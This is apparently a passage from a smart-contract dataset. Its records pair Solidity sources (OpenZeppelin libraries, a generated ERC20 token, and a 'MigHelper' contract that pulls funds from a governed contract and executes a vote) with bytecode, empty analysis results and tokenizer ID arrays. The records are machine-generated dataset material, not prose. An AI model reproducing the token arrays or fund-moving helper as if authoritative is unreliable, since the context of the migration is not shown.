0205460ff1615801561135f57506001600160a01b03831660009081526007602052604090205460ff16155b80156113795750600554600160a81b900463ffffffff1615155b156113c2576005546000906113a8906103e89061131290859063ffffffff600160a81b9091048116906116ce16565b90506113b48482611859565b6113be8282611955565b9150505b6107d4838383611573565b6000818484111561145c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611421578181015183820152602001611409565b50505050905090810190601f16801561144e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6005546032600160a81b90910463ffffffff1611156114b45760405162461bcd60e51b8152600401808060200182810382526024815260200180611b0b6024913960400191505060405180910390fd5b6005546032600160c81b90910463ffffffff1611156115045760405162461bcd60e51b8152600401808060200182810382526028815260200180611abd6028913960400191505060405180910390fd5b6005546115249063ffffffff600160a81b9091048116906002906116ce16565b600554600160c81b900463ffffffff1611156115715760405162461bcd60e51b8152600401808060200182810382526024815260200180611c276024913960400191505060405180910390fd5b565b6001600160a01b0383166115b85760405162461bcd60e51b8152600401808060200182810382526025815260200180611bb96025913960400191505060405180910390fd5b6001600160a01b0382166115fd5760405162461bcd60e51b81526004018080602001828103825260238152602001806119fd6023913960400191505060405180910390fd5b6116088383836107d4565b61164581604051806060016040528060268152602001611ae5602691396001600160a01b03861660009081526020819052604090205491906113cd565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611674908261110f565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000826116dd57506000610887565b828202828482816116ea57fe5b04146111695760405162461bcd60e51b8152600401808060200182810382526021815260200180611b2f6021913960400191505060405180910390fd5b600061116983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611997565b6001600160a01b0382166117c4576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6117d0600083836107d4565b6002546117dd908261110f565b6002556001600160a01b038216600090815260208190526040902054611803908261110f565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b03821661189e5760405162461bcd60e51b8152600401808060200182810382526021815260200180611b986021913960400191505060405180910390fd5b6118aa826000836107d4565b6118e781604051806060016040528060228152602001611a20602291396001600160a01b03851660009081526020819052604090205491906113cd565b6001600160a01b03831660009081526020819052604090205560025461190d9082611955565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600061116983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113cd565b600081836119e65760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611421578181015183820152602001611409565b5060008385816119f257fe5b049594505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e6365456e61626c65496e7465726573743a204e6f2076616c696420706169722065786973747320666f72206572633230746f6b656e4f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573734572726f723a20496e7465726573742063616e6e6f74206265206c6172676572207468616e20352545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654572726f723a204275726e2063616e6e6f74206265206c6172676572207468616e203525536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4572726f723a20496e7465726573742063616e6e6f742065786365656420322a4275726ea264697066735822122026b47a917f984515993b4e0f65be7ca1d6846a62d49c37d6e145f2d78d93eced64736f6c63430007050033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 19841, 2063, 2620, 3676, 3540, 2581, 2575, 2063, 23833, 2575, 2683, 3401, 2581, 22022, 2063, 2692, 2475, 2546, 2094, 8889, 2575, 23499, 11057, 25746, 2063, 2629, 7875, 2487, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1014, 1025, 8278, 1045, 19496, 26760, 9331, 2615, 2475, 21450, 1063, 2724, 3940, 16748, 4383, 1006, 4769, 25331, 19204, 2692, 1010, 4769, 25331, 19204, 2487, 1010, 4769, 3940, 1010, 21318, 3372, 1007, 1025, 3853, 2519, 2080, 1006, 1007, 6327, 3193, 5651, 1006, 4769, 1007, 1025, 3853, 2519, 9232, 12079, 1006, 1007, 6327, 3193, 5651, 1006, 4769, 1007, 1025, 3853, 2131, 4502, 4313, 1006, 4769, 19204, 2050, 1010, 4769, 19204, 2497, 1007, 6327, 3193, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,605
0x970eff682f64ab3a3c797c02292d2e66281f62c6
// File: @openzeppelin\contracts\math\Math.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin\contracts\math\SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin\contracts\token\ERC20\IERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin\contracts\utils\Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin\contracts\token\ERC20\SafeERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts\Helper.sol pragma solidity >0.7.0; interface S{ function setGovernance(address) external; function pika(address, uint256) external; function executeVote(uint256) external; } contract MigHelper { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public constant token = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address public constant atoken = 0x3Ed3B47Dd13EC9a98b44e6204A523E766B225811; address public constant target = 0x5D6DF808Be06d77c726001b1B3163C3294cb8D08; address public constant strategy = 0xb8d6471cA573C92c7096Ab8600347F6a9Fe268a5; address public constant gov = 0x4B827D771456Abd5aFc1D05837F915577729A751; address public constant vote = 0x24d840DbAa0c0c72589C8f8860063024d1C064Db; uint256 public constant id = 20; function DO() public { uint256 _amt = IERC20(atoken).balanceOf(target); _amt = _amt.sub(10000000); S(target).pika(atoken, _amt); _amt = IERC20(atoken).balanceOf(address(this)); IERC20(atoken).safeTransfer(strategy, _amt); RET(); S(vote).executeVote(id); } function RET() public { S(target).setGovernance(gov); } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063a8c62e7611610066578063a8c62e76146100d6578063af640d0f146100de578063d4b83992146100f8578063f6832c4a14610100578063fc0c546a1461010857610093565b806312d43a51146100985780634473de02146100bc578063632a9a52146100c6578063a293b0cd146100ce575b600080fd5b6100a0610110565b604080516001600160a01b039092168252519081900360200190f35b6100c4610128565b005b6100a06101a8565b6100a06101c0565b6100a06101d8565b6100e66101f0565b60408051918252519081900360200190f35b6100a06101f5565b6100c461020d565b6100a0610462565b734b827d771456abd5afc1d05837f915577729a75181565b6040805163ab033ea960e01b8152734b827d771456abd5afc1d05837f915577729a75160048201529051735d6df808be06d77c726001b1b3163c3294cb8d089163ab033ea991602480830192600092919082900301818387803b15801561018e57600080fd5b505af11580156101a2573d6000803e3d6000fd5b50505050565b7324d840dbaa0c0c72589c8f8860063024d1c064db81565b733ed3b47dd13ec9a98b44e6204a523e766b22581181565b73b8d6471ca573c92c7096ab8600347f6a9fe268a581565b601481565b735d6df808be06d77c726001b1b3163c3294cb8d0881565b604080516370a0823160e01b8152735d6df808be06d77c726001b1b3163c3294cb8d0860048201529051600091733ed3b47dd13ec9a98b44e6204a523e766b225811916370a0823191602480820192602092909190829003018186803b15801561027657600080fd5b505afa15801561028a573d6000803e3d6000fd5b505050506040513d60208110156102a057600080fd5b505190506102b1816298968061047a565b604080516330bc60c960e11b8152733ed3b47dd13ec9a98b44e6204a523e766b2258116004820152602481018390529051919250735d6df808be06d77c726001b1b3163c3294cb8d0891636178c1929160448082019260009290919082900301818387803b15801561032257600080fd5b505af1158015610336573d6000803e3d6000fd5b5050604080516370a0823160e01b81523060048201529051733ed3b47dd13ec9a98b44e6204a523e766b22581193506370a0823192506024808301926020929190829003018186803b15801561038b57600080fd5b505afa15801561039f573d6000803e3d6000fd5b505050506040513d60208110156103b557600080fd5b505190506103ec733ed3b47dd13ec9a98b44e6204a523e766b22581173b8d6471ca573c92c7096ab8600347f6a9fe268a5836104c3565b6103f4610128565b60408051637cc5276560e11b81526014600482015290517324d840dbaa0c0c72589c8f8860063024d1c064db9163f98a4eca91602480830192600092919082900301818387803b15801561044757600080fd5b505af115801561045b573d6000803e3d6000fd5b5050505050565b73dac17f958d2ee523a2206206994597c13d831ec781565b60006104bc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061051a565b9392505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526105159084906105b1565b505050565b600081848411156105a95760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561056e578181015183820152602001610556565b50505050905090810190601f16801561059b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000610606826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166106629092919063ffffffff16565b8051909150156105155780806020019051602081101561062557600080fd5b50516105155760405162461bcd60e51b815260040180806020018281038252602a815260200180610867602a913960400191505060405180910390fd5b60606106718484600085610679565b949350505050565b6060824710156106ba5760405162461bcd60e51b81526004018080602001828103825260268152602001806108416026913960400191505060405180910390fd5b6106c3856107d4565b610714576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600080866001600160a01b031685876040518082805190602001908083835b602083106107525780518252601f199092019160209182019101610733565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146107b4576040519150601f19603f3d011682016040523d82523d6000602084013e6107b9565b606091505b50915091506107c98282866107da565b979650505050505050565b3b151590565b606083156107e95750816104bc565b8251156107f95782518084602001fd5b60405162461bcd60e51b815260206004820181815284516024840152845185939192839260440191908501908083836000831561056e57818101518382015260200161055656fe416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212201fa5ec917a848c6517ed272161a7e5a750624503a56fea7ca38102f465fa2a7c64736f6c63430007060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 19841, 12879, 2546, 2575, 2620, 2475, 2546, 21084, 7875, 2509, 2050, 2509, 2278, 2581, 2683, 2581, 2278, 2692, 19317, 2683, 2475, 2094, 2475, 2063, 28756, 22407, 2487, 2546, 2575, 2475, 2278, 2575, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1032, 8311, 1032, 8785, 1032, 8785, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3115, 8785, 16548, 4394, 1999, 1996, 5024, 3012, 2653, 1012, 1008, 1013, 3075, 8785, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 2922, 1997, 2048, 3616, 1012, 1008, 1013, 3853, 4098, 1006, 21318, 3372, 17788, 2575, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,606
0x97101199C42FC1185E8893AEDDb43cea4feef5E3
// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; 